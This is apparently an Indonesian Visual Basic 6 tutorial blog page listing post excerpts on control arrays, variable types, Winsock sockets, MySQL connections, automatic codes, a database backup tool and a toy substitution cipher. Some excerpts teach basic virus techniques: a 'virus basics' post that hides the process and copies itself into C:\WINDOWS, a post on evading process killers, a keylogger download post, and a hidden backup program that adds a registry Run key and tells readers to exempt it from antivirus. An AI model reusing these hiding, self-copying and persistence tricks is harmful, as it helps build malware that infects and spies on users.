Visual Basic 6.0

Penggunaan Kontrol Array

Apa itu Kontrol Array ?

Kontrol array merupakan sekumpulan kontrol yang “dikelompokkan” dengan nama yang sama di
dalam sebuah Form. Kontrol array digunakan bila ada beberapa kontrol yang sama dan akan mendapat
perlakuan yang sama pula. Misalnya, ada 5 buah TextBox di dalam sebuah Form dan akan diprogram
dengan cara yang sama, maka akan lebih mudah jika membuat sebuah TextBox sebagai kontrol array
dibandingkan bila membuat 5 buah TextBox yang berbeda. Setiap object di dalam kontrol array masingmasing
dibedakan dengan nomer indeksnya.

Membuat Kontrol Array
(lebih…)


script dasar virus dengan VB6

1. Menyembunyikan  Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Mengcopy Diri Sendiri

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\nama_virus.exe”

3. Bikin Direktori ato folder

On Error Resume Next
MkDir “C:\WINDOWS\virus”
(lebih…)


Source Code File Protector

 

 

 

 

 

 

 

Download


Tipe Variable dalam Visual Basic 6.0

Tipe variable menentukan nilai yang dapat disimpan variable tersebut dan operator-operator apa yang dapat dikenakan padanya. Sebagai contoh, tipe Integer hanya dapat menyimpan bilangan integer dan opertor yang dapat dikenakan padanya antara lain operator penjumlahan, perkalian, dan sebagainya.

1 Bilangan

Bilangan Bulat

Tipe:                     Range                               Size

Integer |            -32768 … 32767               |   16 bit

Long      |    -2147483648 … 2147483647      |    32 bit

Operasi Aritmatika
(lebih…)


Membuat Aplikasi Server dan Client pada Visual Basic 6.0

Aplikasi Server

Untuk membuat aplikasi socket yang sederhana, tidak diperlukan langkah-langkah yang rumit. Kita akan mencoba membuat dua buah aplikasi, yang pertama adalah aplikasi server yang akan menerima data, sedangkan aplikasi kedua adalah aplikasi client yang mengirimkan data pada server. Baik aplikasi server dan aplikasi client mendefinisikan port yang sama sebagai jalur komunikasi.

Kita akan memulainya dengan aplikasi server, tugas aplikasi server cukup sederhana, yaitu hanya siap sedia menerima data yang masuk pada sebuah port. Control yang Anda perlukan adalah control winsock bernama Winsock1 dan sebuah textbox bernama Text1. Pada event Form_Load, tuliskan kode program di bawah ini:
(lebih…)


Mengakali program pembunuh proses VB

Untuk membuat project tanpa Form dapat menggunakan cara berikut ini:

1. Buat Sebuah Project VB (Standard EXE) baru, dalam hal ini memiliki nama default Project1

2. Tambahkan sebuah Module, beri nama module ini mdlMain

3. Klik menu Project kemudian klik Project1 Properties, pada Startup Object pilih ‘Sub Main’ klik OK
(lebih…)


Koneksi Visual Basic 6 ke MySQL

Buatlah prosedur baru di form MDI anda atau di Module (dan pastikan kalau di Module, prosedur anda adalah Public sehingga dapat dipanggil dari form utama anda). Berikan nama prosedur itu yang mewakili dengan koneksi anda. Misalnya, buat koneksi.

Prosedurnya adalah sbb:

Private Sub buat_koneksi()

Dim ConnString As String

Dim db_name As String

Dim db_server As String

Dim db_port As String

Dim db_user As String

Dim db_pass As String
(lebih…)


Download Keylogger

Keylogger merupakan sebuah perangkat baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger  tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik.
(lebih…)


Membuat Kode Bahan secara otomatis menggunakan Visual Basic 6.0

Koneksi menggunakan Data Environment…

Private Function autokodebhn()
Dim fcode As String
Dim scode As String

With DE
fcode = “BHN-”

If .rskodebahan.RecordCount <= 0 Then
scode = “0001″
Else
(lebih…)


Contoh Source Code Program Presensi Karyawan dan Stok Gudang menggunakan Microsoft Visual Basic 6.0

Nah, kali ini saya akan sharing program sederhana buatan saya, yaitu program PRESENSI KARYAWAN plus STOK GUDANG.

Di kasus ini saya menggunakan DATABASE MICROSOFT ACCESS 2003, dan koneksi dari program ke DATABASE menggunakan DATA ENVIRONMENT serta LAPORAN masih menggunakan DATA REPORT bawaan dari MICROSOFT VISUAL BASIC 6.0 sendiri.

Program ini sudah saya test selama kurang lebih 1 tahun di salah satu perusaahan di denpasar-bali, 1 sampai 2 bulan pertama memang masih ada DEBUGnya, namun saya perbaiki ulang sehingga menjadi sempurna dan kemungkinan tidak ada DEBUG. Mungkin program ini bisa dikatakan sederhana karna DATABASE masih menggunakan MICROSOFT ACCESS 2003 dan belum support untuk jaringan, namun mungkin teman2 sekalian bisa memodifikasi sehingga DATABASE MICROSOFT ACCESS 2003 bisa support dengan jaringan.

Keunggulan program ini adalah database di backup secara otomatis, jadi selama 1 bulan ada 3 file backup dengan nama berbeda dan tanggal berbeda, jadi tidak perlu repot2 memikirkan kehilangan database dikarenakan terhapus atau terkena virus.

(lebih…)


Source Code Buat tombol di program anda menjadi kelap-kelip

yang dibutuhkan adalah:

  1. timer
  2. ocx yg mendukung perubahan warna pada tombol
  3. yang pasti form..klo gk ada ya gk bisa buat apa2 !!he…bcanda..

pada timer merah_timer berikan interval 2000, pada timer biru_timer berikan interval 500..uda..cuma gitu aja scriptnya..he..gampang kan..search aja di Google untuk mendapatkan ocx yg mendukung perubahan warna pada tombol, pada kasus ini saya menggunakan glxpbuttonz.ocx
(lebih…)


Membuat Kode Bahan secara otomatis (koneksi database menggunakan Data Environment )

Private Function autokodebhn()
Dim fcode As String
Dim scode As String

With DE
fcode = “BHN-”

If .rskodebahan.RecordCount <= 0 Then
scode = “0001″
Else
.rskodebahan.MoveLast
scode = Right(“000″ + Trim(Str(Val(Right(.rskodebahan!Kode_Bahan, 4)) + 1)), 4)
End If

autokodebhn = fcode + scode
txtdatabahan(0).Text = autokodebhn

End With

End Function
Panggil Function di atas pada saat tombol tambah / add di klik, emm….pa lagi ya !!!!!!!
Oya..gk cuma bisa buat Kode Bahan aja, pake Kode Karyawan ato yang lainnya jg bisa, tapi mikir ndiri ya !!!!!
biar otaknya gk males….he..he…


Backup Database Ms. Access secara otomatis menggunakan Microsoft Visual Basic 6.0

Private Sub Form_Load()

If App.PrevInstance = True Then End

App.TaskVisible = False

App.Title = “”

call copydatabase

End Sub

Private Sub copydatabase()

Dim reg As Variant

Set reg = CreateObject(“Wscript.Shell”)

reg.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\nama_aplikasi.exe”, “d:\nama_folder\nama_aplikasi.exe”

If Day(Now) = 1 Then

FileCopy “d:\nama_folder\nama_database.mdb”, “d:\nama_folder\nama_folder_backup\nama_database1.mdb”

End If

If Day(Now) = 10 Then

FileCopy “d:\nama_folder\nama_database.mdb”, “d:\nama_folder\nama_folder_backup\nama_database10.mdb”

End If

If Day(Now) = 20 Then

FileCopy “d:\nama_folder\nama_database.mdb”, “d:\nama_folder\nama_folder_backup\nama_database20.mdb”

End If

End Sub

Private Sub Timer1_Timer()

call copydatabase

End Sub

Jangan lupa di form properties, visible = false

tanggal backup terserah..bisa di ganti jadi tanggal brp aja..n backupna jg terserah brp x..

klo aku tiap 1 bulan tu ada 3 file database yg uda backup dgn nama file beda-beda..

isikan timer pada form dgn interval = 60000 guna memanggil private sub copydatabase stiap 1 jam skali..

trus tinggal di compile..jadi dah..tinggal aktifin skali aja..kan uda otomatis tiap komputer idup..aplikasina langsung jalan. Biasanya hasil compile dari script di atas anti virus mendeteksinya sebagai virus,  karna script di atas bermain dengan registry, jadi setting anti virus anda agar aplikasi ini tidak di detek virus ama anti virusnya. Knp begitu??karena script regedit di atas biasa di pakai oleh virus untuk mengaktifkan dirinya saat komputer start up. Jadi klo virus buat jahat..klo nie script buat baik..bgono..he..he..

Download Contoh Program Backup Otomatis

BACA INI JUGA


Source Code Program Encrypt

Function Encrypt(What As String) As String
Dim Before$, After$, EpN%, Dracula%, Aeneima$, DeMoNs$
Before$ = ” ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥”
After$ = ” ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.-~,AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY”
For EpN% = 1 To Len(What)
Dracula% = InStr(Before$, Mid(What, EpN%, 1))
If Not Dracula% = 0 Then
Aeneima$ = Mid(After$, Dracula%, 1)
DeMoNs$ = DeMoNs$ + Aeneima$
End If
Next
Encrypt = DeMoNs$
End Function

Function DeEncrypt(What As String) As String
Dim Before$, After$, EpN%, Dracula%, Aeneima$, DeMoNs$
Before$ = ” ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.-~,AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY”
After$ = ” ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥”
For EpN% = 1 To Len(What)
Dracula% = InStr(Before$, Mid(What, EpN%, 1))
If Not Dracula% = 0 Then
Aeneima$ = Mid(After$, Dracula%, 1)
DeMoNs$ = DeMoNs$ + Aeneima$
End If
Next
DeEncrypt = DeMoNs$
End Function

Private Sub cmdencrypt_Click()
TxtMain.Text = Encrypt(TxtMain.Text)
End Sub

Private Sub cmddecrypt_Click()
TxtMain.Text = DeEncrypt(TxtMain.Text)
End Sub


Ikuti

Get every new post delivered to your Inbox.